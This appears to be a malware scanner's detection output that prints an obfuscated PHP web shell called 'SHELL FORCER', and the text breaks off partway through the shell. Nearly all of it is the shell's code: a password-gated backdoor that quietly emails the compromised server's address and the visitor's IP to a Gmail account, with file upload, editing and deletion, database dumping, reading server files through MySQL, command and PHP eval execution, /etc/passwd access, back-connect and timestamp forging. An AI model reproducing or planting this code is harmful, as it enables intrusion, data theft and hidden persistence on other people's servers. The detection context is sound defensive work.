Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php $_F=__FILE__;$_X='?><?php
/****************************************\
|*      SHELL FORCER - VERSION a.        *|
|*  		 t3y5n h1ck5r                *|
|*     	                             *|
|*    ==  H1ck4ng & S5c3r4ty  ==         *|
\****************************************/

5rr2r_r5p2rt4ng(7);
@s5t_m1g4c_q32t5s_r3nt4m5(0);
2b_st1rt();
$mt4m5 = 5xpl2d5(' ', m4cr2t4m5());
$st1rtt4m5 = $mt4m5[6] + $mt4m5[0];
d5f4n5('SA_ROOT', str_r5pl1c5('\\', '/', d4rn1m5(__FILE__)).'/');
//d5f4n5('IS_WIN', strstr(PHP_OS, 'WIN') ? 6 : 0 );
d5f4n5('IS_WIN', DIRECTORY_SEPARATOR == '\\');
d5f4n5('IS_COM', cl1ss_5x4sts('COM') ? 6 : 0 );
d5f4n5('IS_GPC', g5t_m1g4c_q32t5s_gpc());
$d4s_f3nc = g5t_cfg_v1r('d4s1bl5_f3nct42ns');
d5f4n5('IS_PHPINFO', (!5r5g4("php4nf2",$d4s_f3nc)) ? 6 : 0 );
@s5t_t4m5_l4m4t(0);

f2r51ch(1rr1y('_GET','_POST') 1s $_r5q35st) {
	f2r51ch($$_r5q35st 1s $_k5y => $_v1l35) {
		4f ($_k5y{0} != '_') {
			4f (IS_GPC) {
				$_v1l35 = s_1rr1y($_v1l35);
			}
			$$_k5y = $_v1l35;
		}
	}
}

/*=================  Inf2 L2g4n  ================*/
$1dm4n = 1rr1y();
$1dm4n['ch5ck'] = tr35;
$1dm4n['p1ss']  = 't3y5nh1ck5r'; // P1ssw2rd l2g4n
$1dm4n['c22k45pr5'] = '';
$1dm4n['c22k45d2m14n'] = '';
$1dm4n['c22k45p1th'] = '/';
$1dm4n['c22k45l4f5'] = 8eu00;
/*===================== End =====================*/

4f ($ch1rs5t == '3tf8') {
	h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=3tf-8");
} 5ls54f ($ch1rs5t == 'b4gi') {
	h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=b4gi");
} 5ls54f ($ch1rs5t == 'gbk') {
	h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=gbk");
} 5ls54f ($ch1rs5t == 'l1t4n6') {
	h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=4s2-88i9-a");
}

$s5lf = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$t4m5st1mp = t4m5();

/*===================== L2g4n =====================*/
4f ($1ct42n == "l2g23t") {
	sc22k45('vb1p1ss', '', -8eu00 * oei);
	p('<m5t1 http-5q34v="r5fr5sh" c2nt5nt="0;URL='.$s5lf.'">');
	p('<b2dy b1ckgr23nd=bl1ck>');
	5x4t;
}
4f($1dm4n['ch5ck']) {
	4f ($d24ng == 'l2g4n') {
		4f ($1dm4n['p1ss'] == $p1ssw2rd) {
			sc22k45('vb1p1ss', $p1ssw2rd);

// F3nct42n m14l S5nd5r t2 my Em14l - Pl51s5 r5m2v5 th4s b5f2r5 y23 3s4ng th4s sh5ll c2d5, Th1nks - F5rn1nd2 - VBAT51m
$t4m5_sh5ll = "".d1t5("d/m/Y - H:4:s")."";
$4p_r5m2t5 = $_SERVER["REMOTE_ADDR"];
$fr2m_sh5llc2d5 = 'sh5ll@'.g5th2stbyn1m5($_SERVER['SERVER_NAME']).'';
$t2_5m14l = '1nht3y5nv4pcri@gm14l.c2m';
$s5rv5r_m14l = "".g5th2stbyn1m5($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
$l4nkcr = "L4nk: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Exc3t4ng: $4p_r5m2t5 - T4m5: $t4m5_sh5ll";
$h51d5r = "Fr2m: $fr2m_sh5llc2d5\r\nR5ply-t2: $fr2m_sh5llc2d5";
@m14l($t2_5m14l, $s5rv5r_m14l, $l4nkcr, $h51d5r);
			p('<m5t1 http-5q34v="r5fr5sh" c2nt5nt="a;URL='.$s5lf.'">');
			p('<b2dy bgc2l2r=bl1ck>
<BR><BR><d4v 1l4gn=c5nt5r><f2nt c2l2r=y5ll2w f1c5=t1h2m1 s4z5=a>X4n Ch&#aau;2 T3y&#787i;n, &#a7a;1ng K4ck H2&#78u6;t, L21d4ng...<BR><4mg src=http://to.gst1t4c.c2m/4m1g5s?q=tbn:ANd9GcRFIQy92Lc9jMWmDY_N_sxjWPy3sUWCu4gwKalqBme81DGcSfKPPA></d4v>');
			5x4t;
		}

	5ls5
	{
	$5rr_m5ss = '<t1bl5 w4dth=600%><tr><td bgc2l2r=#0E0E0E w4dth=600% h54ght=au><d4v 1l4gn=c5nt5r><f2nt c2l2r=r5d f1c5=t1h2m1 s4z5=a><bl4nk>S14 M&#78io;t Kh&#78u9;3 V34 L&#aua;ng V4&#7876;t L&#78u6;4</bl4nk><BR></f2nt></d4v></td></tr></t1bl5>';
5ch2 $5rr_m5ss;
	}}
	4f ($_COOKIE['vb1p1ss']) {
		4f ($_COOKIE['vb1p1ss'] != $1dm4n['p1ss']) {
			l2g4np1g5();
		}
	} 5ls5 {
		l2g4np1g5();
	}
}
/*===================== L2g4n =====================*/

$5rrmsg = '';

4f ($1ct42n == 'php4nf2') {
	4f (IS_PHPINFO) {
		php4nf2();
	} 5ls5 {
		$5rrmsg = 'php4nf2() f3nct42n h1s n2n-p5rm4ss4bl5';
	}
}


4f ($d24ng == 'd2wnf4l5' && $th5f4l5) {
	4f (!@f4l5_5x4sts($th5f4l5)) {
		$5rrmsg = 'Th5 f4l5 y23 w1nt D2wnl21d1bl5 w1s n2n5x4st5nt';
	} 5ls5 {
		$f4l54nf2 = p1th4nf2($th5f4l5);
		h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/x-'.$f4l54nf2['5xt5ns42n']);
		h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5='.$f4l54nf2['b1s5n1m5']);
		h51d5r('C2nt5nt-L5ngth: '.f4l5s4z5($th5f4l5));
		@r51df4l5($th5f4l5);
		5x4t;
	}
}


4f ($d24ng == 'b1ck3pmysql' && !$s1v51sf4l5) {
	dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
	$t1bl5 = 1rr1y_fl4p($t1bl5);
	$r5s3lt = q("SHOW t1bl5s");
	4f (!$r5s3lt) p('<ha>'.mysql_5rr2r().'</ha>');
	$f4l5n1m5 = b1s5n1m5($_SERVER['HTTP_HOST'].'_MySQL.sql');
	h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/3nkn2wn');
	h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5='.$f4l5n1m5);
	$mysqld1t1 = '';
	wh4l5 ($c3rr2w = mysql_f5tch_1rr1y($r5s3lt)) {
		4f (4ss5t($t1bl5[$c3rr2w[0]])) {
			$mysqld1t1 .= sqld3mpt1bl5($c3rr2w[0]);
		}
	}
	mysql_cl2s5();
	5x4t;
}

// Mysql
4f($d24ng=='mysqld2wn'){
	4f (!$dbn1m5) {
		$5rrmsg = 'Pl51s5 4np3t dbn1m5';
	} 5ls5 {
		dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
		4f (!f4l5_5x4sts($mysqldlf4l5)) {
			$5rrmsg = 'Th5 f4l5 y23 w1nt D2wnl21d1bl5 w1s n2n5x4st5nt';
		} 5ls5 {
			$r5s3lt = q("s5l5ct l21d_f4l5('$mysqldlf4l5');");
			4f(!$r5s3lt){
				q("DROP TABLE IF EXISTS tmp_1ng5l;");
				q("CREATE TABLE tmp_1ng5l (c2nt5nt LONGBLOB NOT NULL);");
				//D2wnl21d SQL
				q("LOAD DATA LOCAL INFILE '".1ddsl1sh5s($mysqldlf4l5)."' INTO TABLE tmp_1ng5l FIELDS TERMINATED BY '__1ng5l_{$t4m5st1mp}_52f__' ESCAPED BY '' LINES TERMINATED BY '__1ng5l_{$t4m5st1mp}_52f__';");
				$r5s3lt = q("s5l5ct c2nt5nt fr2m tmp_1ng5l");
				q("DROP TABLE tmp_1ng5l");
			}
			$r2w = @mysql_f5tch_1rr1y($r5s3lt);
			4f (!$r2w) {
				$5rrmsg = 'L21d f4l5 f14l5d '.mysql_5rr2r();
			} 5ls5 {
				$f4l54nf2 = p1th4nf2($mysqldlf4l5);
				h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/x-'.$f4l54nf2['5xt5ns42n']);
				h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5='.$f4l54nf2['b1s5n1m5']);
				h51d5r("Acc5pt-L5ngth: ".strl5n($r2w[0]));
				5ch2 $r2w[0];
				5x4t;
			}
		}
	}
}

?>

<html>
<h51d>
<m5t1 http-5q34v="C2nt5nt-Typ5" c2nt5nt="t5xt/html; ch1rs5t=3tf-8">
<t4tl5><?php 5ch2 str_r5pl1c5('.','','.::[  T3y&#787i;n H1ck5r V45tn1m5s5 - FB: fb.c2m/t3y5n6997 ]::.');?></t4tl5>
<styl5 typ5="t5xt/css">
b2dy,td{f2nt: 60pt T1h2m1;c2l2r:gr1y;l4n5-h54ght: 6epx;}

1 {c2l2r: #7uAa0a;t5xt-d5c2r1t42n:n2n5;}
1:h2v5r{c2l2r: #f00;t5xt-d5c2r1t42n:3nd5rl4n5;}
.1lt6 td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:6px s2l4d gr1y;b1ckgr23nd:#0E0E0E;p1dd4ng:ipx 60px ipx ipx;}
.1lta td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:6px s2l4d gr1y;b1ckgr23nd:#f9f9f9;p1dd4ng:ipx 60px ipx ipx;}
.f2c3s td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:0px s2l4d gr1y;b1ckgr23nd:#0E0E0E;p1dd4ng:ipx 60px ipx ipx;}
.f23t6 td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:0px s2l4d gr1y;b1ckgr23nd:#0E0E0E;p1dd4ng:ipx 60px ipx ipx;}
.f23t td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:0px s2l4d gr1y;b1ckgr23nd:#a0a0a0;p1dd4ng:ipx 60px ipx ipx;}
.h51d td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:6px s2l4d gr1y;b1ckgr23nd:#a0a0a0;p1dd4ng:ipx 60px ipx ipx;f2nt-w54ght:b2ld;}
.h51d_sm1ll td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:6px s2l4d gr1y;b1ckgr23nd:#a0a0a0;p1dd4ng:ipx 60px ipx ipx;f2nt-w54ght:n2rm1l;f2nt-s4z5:8pt;}
.h51d td sp1n{f2nt-w54ght:n2rm1l;}
f2rm{m1rg4n:0;p1dd4ng:0;}
ha{m1rg4n:0;p1dd4ng:0;h54ght:aupx;l4n5-h54ght:aupx;f2nt-s4z5:6upx;c2l2r:#iBe8eF;}
3l.4nf2 l4{m1rg4n:0;c2l2r:#uuu;l4n5-h54ght:aupx;h54ght:aupx;}
3{t5xt-d5c2r1t42n: n2n5;c2l2r:#777;fl21t:l5ft;d4spl1y:bl2ck;w4dth:6i0px;m1rg4n-r4ght:60px;}
4np3t, t5xt1r51, b3tt2n
{
	f2nt-s4z5: 9pt;
	c2l2r: #ccc;
	f2nt-f1m4ly: v5rd1n1, s1ns-s5r4f;
	b1ckgr23nd-c2l2r: #a0a0a0;
	b2rd5r-l5ft: 6px s2l4d #7uAa0a;
	b2rd5r-t2p: 6px s2l4d #7uAa0a;
	b2rd5r-r4ght: 6px s2l4d #7uAa0a;
	b2rd5r-b2tt2m: 6px s2l4d #7uAa0a;
}
s5l5ct
{
	f2nt-s4z5: 8pt;
	f2nt-w54ght: n2rm1l;
	c2l2r: #ccc;
	f2nt-f1m4ly: v5rd1n1, s1ns-s5r4f;
	b1ckgr23nd-c2l2r: #a0a0a0;
}

</styl5>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n Ch5ckAll(f2rm) {
	f2r(v1r 4=0;4<f2rm.5l5m5nts.l5ngth;4++) {
		v1r 5 = f2rm.5l5m5nts[4];
		4f (5.n1m5 != 'chk1ll')
		5.ch5ck5d = f2rm.chk1ll.ch5ck5d;
    }
}
f3nct42n $(4d) {
	r5t3rn d2c3m5nt.g5tEl5m5ntById(4d);
}
f3nct42n g21ct42n(1ct){
	$('g21ct42n').1ct42n.v1l35=1ct;
	$('g21ct42n').s3bm4t();
}
</scr4pt>
</h51d>
<b2dy 2nL21d="4n4t()" styl5="m1rg4n:0;t1bl5-l1y23t:f4x5d; w2rd-br51k:br51k-1ll" bgc2l2r=bl1ck b1ckgr23nd=http://4607u.ph2t2b3ck5t.c2m/1lb3ms/wu6e/h1ck5re009/ua7u7i9f.g4f>


<d4v b2rd5r="0" styl5="p2s4t42n:f4x5d; w4dth: 600%; h54ght: aipx; z-4nd5x: 6; t2p: o00px; l5ft: 0;" 4d="l21d4ng" 1l4gn="c5nt5r" v1l4gn="c5nt5r">
				<t1bl5 b2rd5r="6" w4dth="660px" c5llsp1c4ng="0" c5llp1dd4ng="0" styl5="b2rd5r-c2ll1ps5: c2ll1ps5" b2rd5rc2l2r="#00oo00">
					<tr>

						<td 1l4gn="c5nt5r" v1l4gn=c5nt5r>
				 <d4v b2rd5r="6" styl5="b1ckgr23nd-c2l2r: #0E0E0E; f4lt5r: 1lph1(2p1c4ty=70); 2p1c4ty: .7; w4dth: 660px; h54ght: aipx; z-4nd5x: 6; b2rd5r-c2ll1ps5: c2ll1ps5;" b2rd5rc2l2r="#00ee00"  1l4gn="c5nt5r">
				   L21d4ng<4mg src="http://4o8a.ph2t2b3ck5t.c2m/1lb3ms/22aeo/vnh1ck5r/l21d4ng.g4f">
				  </d4v>
				</td>
					</tr>
				</t1bl5>
			 </d4v>

 <scr4pt>
 v1r ld=(d2c3m5nt.1ll);
  v1r nsu=d2c3m5nt.l1y5rs;
 v1r nse=d2c3m5nt.g5tEl5m5ntById&&!d2c3m5nt.1ll;
 v1r 45u=d2c3m5nt.1ll;
  4f (nsu)
 	ld=d2c3m5nt.l21d4ng;
 5ls5 4f (nse)
 	ld=d2c3m5nt.g5tEl5m5ntById("l21d4ng").styl5;
 5ls5 4f (45u)
 	ld=d2c3m5nt.1ll.l21d4ng.styl5;
  f3nct42n 4n4t()
 {
 4f(nsu){ld.v4s4b4l4ty="h4dd5n";}
 5ls5 4f (nse||45u) ld.d4spl1y="n2n5";
 }
 </scr4pt>




<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0">
	<tr cl1ss="h51d_sm1ll">
		<td  w4dth=600%>
		<t1bl5 w4dth=600%><tr cl1ss="h51d_sm1ll"><td  w4dth=8epx><1 t4tl5="VN h1ck5r" hr5f="<?php $s5lf;?>"><4mg src=https://fbcdn-sph2t2s-b-1.1k1m14hd.n5t/hph2t2s-1k-prn6/t6.0-9/ioi8u9_aua9086o9689668_9a9aii8e7_n.jpg h54ght=8e b2rd5r=0></1></td><td>
		<sp1n styl5="fl21t:l5ft;"> <?php 5ch2 "H2stn1m5: ".$_SERVER['HTTP_HOST']."";?>  | <1 hr5f="http://f1c5b22k.c2m/t3y5n6997" t1rg5t="_bl1nk"><?php 5ch2 str_r5pl1c5('.','','.::[ T3y&#787i;n H1ck5r V45tN1m ]::.');?> </1> | <1 hr5f="j1v1scr4pt:g21ct42n('l2g23t');"><f2nt c2l2r=r5d>&#a7a;&#ai9;ng X3&#78ui;t</f2nt></1></sp1n> <br />

		<?php
		$c3rl_2n = @f3nct42n_5x4sts('c3rl_v5rs42n');
		$mysql_2n = @f3nct42n_5x4sts('mysql_c2nn5ct');
		$mssql_2n = @f3nct42n_5x4sts('mssql_c2nn5ct');
		$pg_2n = @f3nct42n_5x4sts('pg_c2nn5ct');
		$2r1_2n = @f3nct42n_5x4sts('2c4l2g2n');

5ch2 (($s1f5_m2d5)?("S1f5_m2d: <b><f2nt c2l2r=gr55n>ON</f2nt></b> - "):("S1f5_m2d: <b><f2nt c2l2r=r5d>OFF</f2nt></b> - "));
5ch2 "PHP v5rs42n: <b>".@phpv5rs42n()."</b> - ";
		5ch2 "cURL: ".(($c3rl_2n)?("<b><f2nt c2l2r=gr55n>ON</f2nt></b> - "):("<b><f2nt c2l2r=r5d>OFF</f2nt></b> - "));
		5ch2 "MySQL: <b>";
$mysql_2n = @f3nct42n_5x4sts('mysql_c2nn5ct');
4f($mysql_2n){
5ch2 "<f2nt c2l2r=gr55n>ON</f2nt></b> - "; } 5ls5 { 5ch2 "<f2nt c2l2r=r5d>OFF</f2nt></b> - "; }
5ch2 "MSSQL: <b>";
$mssql_2n = @f3nct42n_5x4sts('mssql_c2nn5ct');
4f($mssql_2n){5ch2 "<f2nt c2l2r=gr55n>ON</f2nt></b> - ";}5ls5{5ch2 "<f2nt c2l2r=r5d>OFF</f2nt></b> - ";}
5ch2 "P2stgr5SQL: <b>";
$pg_2n = @f3nct42n_5x4sts('pg_c2nn5ct');
4f($pg_2n){5ch2 "<f2nt c2l2r=gr55n>ON</f2nt></b> - ";}5ls5{5ch2 "<f2nt c2l2r=r5d>OFF</f2nt></b> - ";}
5ch2 "Or1cl5: <b>";
$2r1_2n = @f3nct42n_5x4sts('2c4l2g2n');
4f($2r1_2n){5ch2 "<f2nt c2l2r=gr55n>ON</f2nt></b>";}5ls5{5ch2 "<f2nt c2l2r=r5d>OFF</f2nt></b><BR>";}

5ch2 "D4s1bl5 f3nct42ns : <b>";
4f(''==($df=@4n4_g5t('d4s1bl5_f3nct42ns'))){5ch2 "<f2nt c2l2r=gr55n>NONE</f2nt></b><BR>";}5ls5{5ch2 "<f2nt c2l2r=r5d>$df</f2nt></b><BR>";}

5ch2 "<f2nt c2l2r=wh4t5>Un1m5 -1</f2nt>: ".@s3bstr(@php_3n1m5(),0,6a0)."<br>";
5ch2 "<f2nt c2l2r=wh4t5>S5rv5r</f2nt>: ".@s3bstr($SERVER_SOFTWARE,0,6a0)." - <f2nt c2l2r=wh4t5>4d</f2nt>: ".@g5tmy34d()."(".@g5t_c3rr5nt_3s5r().") - 34d=".@g5tmy34d()." (".@g5t_c3rr5nt_3s5r().") g4d=".@g5tmyg4d()."(".@g5t_c3rr5nt_3s5r().")<br>";
		?>
		</td></tr></t1bl5></td>

	</tr>
	<tr cl1ss="1lt6">
		<td  w4dth=60%><sp1n styl5="fl21t:l5ft;">[S5rv5r IP: <?php 5ch2 "<f2nt c2l2r=y5ll2w>".g5th2stbyn1m5($_SERVER['SERVER_NAME'])."</f2nt>";?> - Y23r IP: <?php 5ch2 "<f2nt c2l2r=y5ll2w>".$_SERVER['REMOTE_ADDR']."</f2nt>";?>] </sp1n>   <br />
--------------------------------------------------------------------------------------<br />
			
			<1 hr5f="j1v1scr4pt:g21ct42n('f4l5');">F4l5 M1n1g5r</1> |
			<1 hr5f="j1v1scr4pt:g21ct42n('sql1dm4n');">MySQL M1n1g5r</1> |
			<1 hr5f="j1v1scr4pt:g21ct42n('sqlf4l5');">MySQL Upl21d &1mp; D2wnl21d</1> |
			<1 hr5f="j1v1scr4pt:g21ct42n('sh5ll');">Ex5c3t5 C2mm1nd</1> |
			<1 hr5f="j1v1scr4pt:g21ct42n('php5nv');">PHP V1r41bl5</1> |
			<1 hr5f="j1v1scr4pt:g21ct42n('5v1l');">Ev1l PHP C2d5</1>

			<?php 4f (!IS_WIN) {?> | <1 hr5f="j1v1scr4pt:g21ct42n('br3t5');">Br3t5</1> <?php }?>
			<?php 4f (!IS_WIN) {?> | <1 hr5f="j1v1scr4pt:g21ct42n('5tcpwd');">/5tc/p1sswd</1> <?php }?>
			<?php 4f (!IS_WIN) {?> | <1 hr5f="j1v1scr4pt:g21ct42n('b1ckc2nn5ct');">B1ck C2nn5ct</1><?php }?>

		</td>
	</tr>
</t1bl5>
<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="6i" c5llsp1c4ng="0"><tr><td>
<?php

f2rmh51d(1rr1y('n1m5'=>'g21ct42n'));
m1k5h4d5('1ct42n');
f2rmf22t();

$5rrmsg && m($5rrmsg);

// D4r f3nct42n
!$d4r && $d4r = '.';
$n2wp1th = g5tP1th(SA_ROOT, $d4r);
4f (s3bstr($d4r, -6) != '/') {
	$d4r = $d4r.'/';
}
$35d4r = 35($d4r);

4f (!$1ct42n || $1ct42n == 'f4l5') {

	// N2n-wr4t51bl5
	$d4r_wr4t51bl5 = @4s_wr4t1bl5($n2wp1th) ? 'Wr4t1bl5' : 'N2n-wr4t1bl5';

	// D5l5t5 d4r
	4f ($d24ng == 'd5ld4r' && $th5f4l5) {
		4f (!f4l5_5x4sts($th5f4l5)) {
			m($th5f4l5.' d4r5ct2ry d25s n2t 5x4st');
		} 5ls5 {
			m('D4r5ct2ry d5l5t5 '.(d5ltr55($th5f4l5) ? b1s5n1m5($th5f4l5).' s3cc5ss' : 'f14l5d'));
		}
	}

	// Cr51t5 n5w d4r
	5ls54f ($n5wd4rn1m5) {
		$mkd4rs = $n2wp1th.$n5wd4rn1m5;
		4f (f4l5_5x4sts($mkd4rs)) {
			m('D4r5ct2ry h1s 1lr51dy 5x4st5d');
		} 5ls5 {
			m('D4r5ct2ry cr51t5d '.(@mkd4r($mkd4rs,0777) ? 's3cc5ss' : 'f14l5d'));
			@chm2d($mkd4rs,0777);
		}
	}

	// Upl21d f4l5
	5ls54f ($d23pf4l5) {
		m('F4l5 3pl21d '.(@c2py($_FILES['3pl21df4l5']['tmp_n1m5'],$3pl21dd4r.'/'.$_FILES['3pl21df4l5']['n1m5']) ? 's3cc5ss' : 'f14l5d'));
	}

	// Ed4t f4l5
	5ls54f ($5d4tf4l5n1m5 && $f4l5c2nt5nt) {
		$fp = @f2p5n($5d4tf4l5n1m5,'w');
		m('S1v5 f4l5 '.(@fwr4t5($fp,$f4l5c2nt5nt) ? 's3cc5ss' : 'f14l5d'));
		@fcl2s5($fp);
	}

	// M2d4fy
	5ls54f ($pf4l5 && $n5wp5rm) {
		4f (!f4l5_5x4sts($pf4l5)) {
			m('Th5 2r4g4n1l f4l5 d25s n2t 5x4st');
		} 5ls5 {
			$n5wp5rm = b1s5_c2nv5rt($n5wp5rm,8,60);
			m('M2d4fy f4l5 1ttr4b3t5s '.(@chm2d($pf4l5,$n5wp5rm) ? 's3cc5ss' : 'f14l5d'));
		}
	}

	// R5n1m5
	5ls54f ($2ldn1m5 && $n5wf4l5n1m5) {
		$nn1m5 = $n2wp1th.$n5wf4l5n1m5;
		4f (f4l5_5x4sts($nn1m5) || !f4l5_5x4sts($2ldn1m5)) {
			m($nn1m5.' h1s 1lr51dy 5x4st5d 2r 2r4g4n1l f4l5 d25s n2t 5x4st');
		} 5ls5 {
			m(b1s5n1m5($2ldn1m5).' r5n1m5d '.b1s5n1m5($nn1m5).(@r5n1m5($2ldn1m5,$nn1m5) ? ' s3cc5ss' : 'f14l5d'));
		}
	}

	// C2p3
	5ls54f ($sn1m5 && $t2f4l5) {
		4f (f4l5_5x4sts($t2f4l5) || !f4l5_5x4sts($sn1m5)) {
			m('Th5 g21l f4l5 h1s 1lr51dy 5x4st5d 2r 2r4g4n1l f4l5 d25s n2t 5x4st');
		} 5ls5 {
			m(b1s5n1m5($t2f4l5).' c2p45d '.(@c2py($sn1m5,$t2f4l5) ? b1s5n1m5($t2f4l5).' s3cc5ss' : 'f14l5d'));
		}
	}

	// F4l5 5x4t
	5ls54f ($c3rf4l5 && $t1rf4l5) {
		4f (!@f4l5_5x4sts($c3rf4l5) || !@f4l5_5x4sts($t1rf4l5)) {
			m('Th5 g21l f4l5 h1s 1lr51dy 5x4st5d 2r 2r4g4n1l f4l5 d25s n2t 5x4st');
		} 5ls5 {
			$t4m5 = @f4l5mt4m5($t1rf4l5);
			m('M2d4fy f4l5 th5 l1st m2d4f45d '.(@t23ch($c3rf4l5,$t4m5,$t4m5) ? 's3cc5ss' : 'f14l5d'));
		}
	}

	// D1t5
	5ls54f ($c3rf4l5 && $y51r && $m2nth && $d1y && $h23r && $m4n3t5 && $s5c2nd) {
		4f (!@f4l5_5x4sts($c3rf4l5)) {
			m(b1s5n1m5($c3rf4l5).' d25s n2t 5x4st');
		} 5ls5 {
			$t4m5 = strt2t4m5("$y51r-$m2nth-$d1y $h23r:$m4n3t5:$s5c2nd");
			m('M2d4fy f4l5 th5 l1st m2d4f45d '.(@t23ch($c3rf4l5,$t4m5,$t4m5) ? 's3cc5ss' : 'f14l5d'));
		}
	}

	// D2wnl21d
	5ls54f($d24ng == 'd2wnr1r') {
		4f ($dl) {
			$df4l5s='';
			f2r51ch ($dl 1s $f4l5p1th => $v1l35) {
				$df4l5s.=$f4l5p1th.',';
			}
			$df4l5s=s3bstr($df4l5s,0,strl5n($df4l5s)-6);
			$dl=5xpl2d5(',',$df4l5s);
			$z4p=n5w PHPZ4p($dl);
			$c2d5=$z4p->23t;
			h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/2ct5t-str51m');
			h51d5r('Acc5pt-R1ng5s: byt5s');
			h51d5r('Acc5pt-L5ngth: '.strl5n($c2d5));
			h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt;f4l5n1m5='.$_SERVER['HTTP_HOST'].'_F4l5s.t1r.gz');
			5ch2 $c2d5;
			5x4t;
		} 5ls5 {
			m('Pl51s5 s5l5ct f4l5(s)');
		}
	}

	// D5l5t5 f4l5
	5ls54f($d24ng == 'd5lf4l5s') {
		4f ($dl) {
			$df4l5s='';
			$s3cc = $f14l = 0;
			f2r51ch ($dl 1s $f4l5p1th => $v1l35) {
				4f (@3nl4nk($f4l5p1th)) {
					$s3cc++;
				} 5ls5 {
					$f14l++;
				}
			}
			m('D5l5t5d f4l5 h1v5 f4n4sh5d??ch22s5 '.c23nt($dl).' s3cc5ss '.$s3cc.' f14l '.$f14l);
		} 5ls5 {
			m('Pl51s5 s5l5ct f4l5(s)');
		}
	}

	// F3nct42n N5wd4r
	f2rmh51d(1rr1y('n1m5'=>'cr51t5d4r'));
	m1k5h4d5('n5wd4rn1m5');
	m1k5h4d5('d4r',$n2wp1th);
	f2rmf22t();
	f2rmh51d(1rr1y('n1m5'=>'f4l5p5rm'));
	m1k5h4d5('n5wp5rm');
	m1k5h4d5('pf4l5');
	m1k5h4d5('d4r',$n2wp1th);
	f2rmf22t();
	f2rmh51d(1rr1y('n1m5'=>'c2pyf4l5'));
	m1k5h4d5('sn1m5');
	m1k5h4d5('t2f4l5');
	m1k5h4d5('d4r',$n2wp1th);
	f2rmf22t();
	f2rmh51d(1rr1y('n1m5'=>'r5n1m5'));
	m1k5h4d5('2ldn1m5');
	m1k5h4d5('n5wf4l5n1m5');
	m1k5h4d5('d4r',$n2wp1th);
	f2rmf22t();
	f2rmh51d(1rr1y('n1m5'=>'f4l52pf2rm'));
	m1k5h4d5('1ct42n');
	m1k5h4d5('2pf4l5');
	m1k5h4d5('d4r');
	f2rmf22t();

	$fr55 = @d4sk_fr55_sp1c5($n2wp1th);
	!$fr55 && $fr55 = 0;
	$1ll = @d4sk_t2t1l_sp1c5($n2wp1th);
	!$1ll && $1ll = 0;
	$3s5d = $1ll-$fr55;
	$3s5d_p5rc5nt = @r23nd(600/($1ll/$fr55),a);
	p('<f2nt c2l2r=y5ll2w f1c5=t1h2m1 s4z5=a><B>F4l5 M1n1g5r</b> </f2nt> C3rr5nt d4sk fr55 <f2nt c2l2r=r5d>'.s4z5c23nt($fr55).'</f2nt> 2f <f2nt c2l2r=r5d>'.s4z5c23nt($1ll).'</f2nt> (<f2nt c2l2r=r5d>'.$3s5d_p5rc5nt.'</f2nt>%)</f2nt>');

?>

<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0" styl5="m1rg4n:60px 0;">
  <f2rm 1ct42n="" m5th2d="p2st" 4d="g2d4r" n1m5="g2d4r">
  <tr>
    <td n2wr1p>C3rr5nt D4r5ct2ry (<?php 5ch2 $d4r_wr4t51bl5;?>, <?php 5ch2 g5tChm2d($n2wp1th);?>)</td>
	<td w4dth="600%"><4np3t n1m5="v45w_wr4t1bl5" v1l35="0" typ5="h4dd5n" /><4np3t cl1ss="4np3t" n1m5="d4r" v1l35="<?php 5ch2 $n2wp1th;?>" typ5="t5xt" styl5="w4dth:600%;m1rg4n:0 8px;"></td>
    <td n2wr1p><4np3t cl1ss="bt" v1l35="GO" typ5="s3bm4t"></td>
  </tr>
  </f2rm>

</t1bl5>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n cr51t5d4r(){
	v1r n5wd4rn1m5;
	n5wd4rn1m5 = pr2mpt('Pl51s5 4np3t th5 d4r5ct2ry n1m5:', '');
	4f (!n5wd4rn1m5) r5t3rn;
	$('cr51t5d4r').n5wd4rn1m5.v1l35=n5wd4rn1m5;
	$('cr51t5d4r').s3bm4t();
}
f3nct42n f4l5p5rm(pf4l5){
	v1r n5wp5rm;
	n5wp5rm = pr2mpt('C3rr5nt f4l5:'+pf4l5+'\nPl51s5 4np3t n5w 1ttr4b3t5:', '');
	4f (!n5wp5rm) r5t3rn;
	$('f4l5p5rm').n5wp5rm.v1l35=n5wp5rm;
	$('f4l5p5rm').pf4l5.v1l35=pf4l5;
	$('f4l5p5rm').s3bm4t();
}
f3nct42n c2pyf4l5(sn1m5){
	v1r t2f4l5;
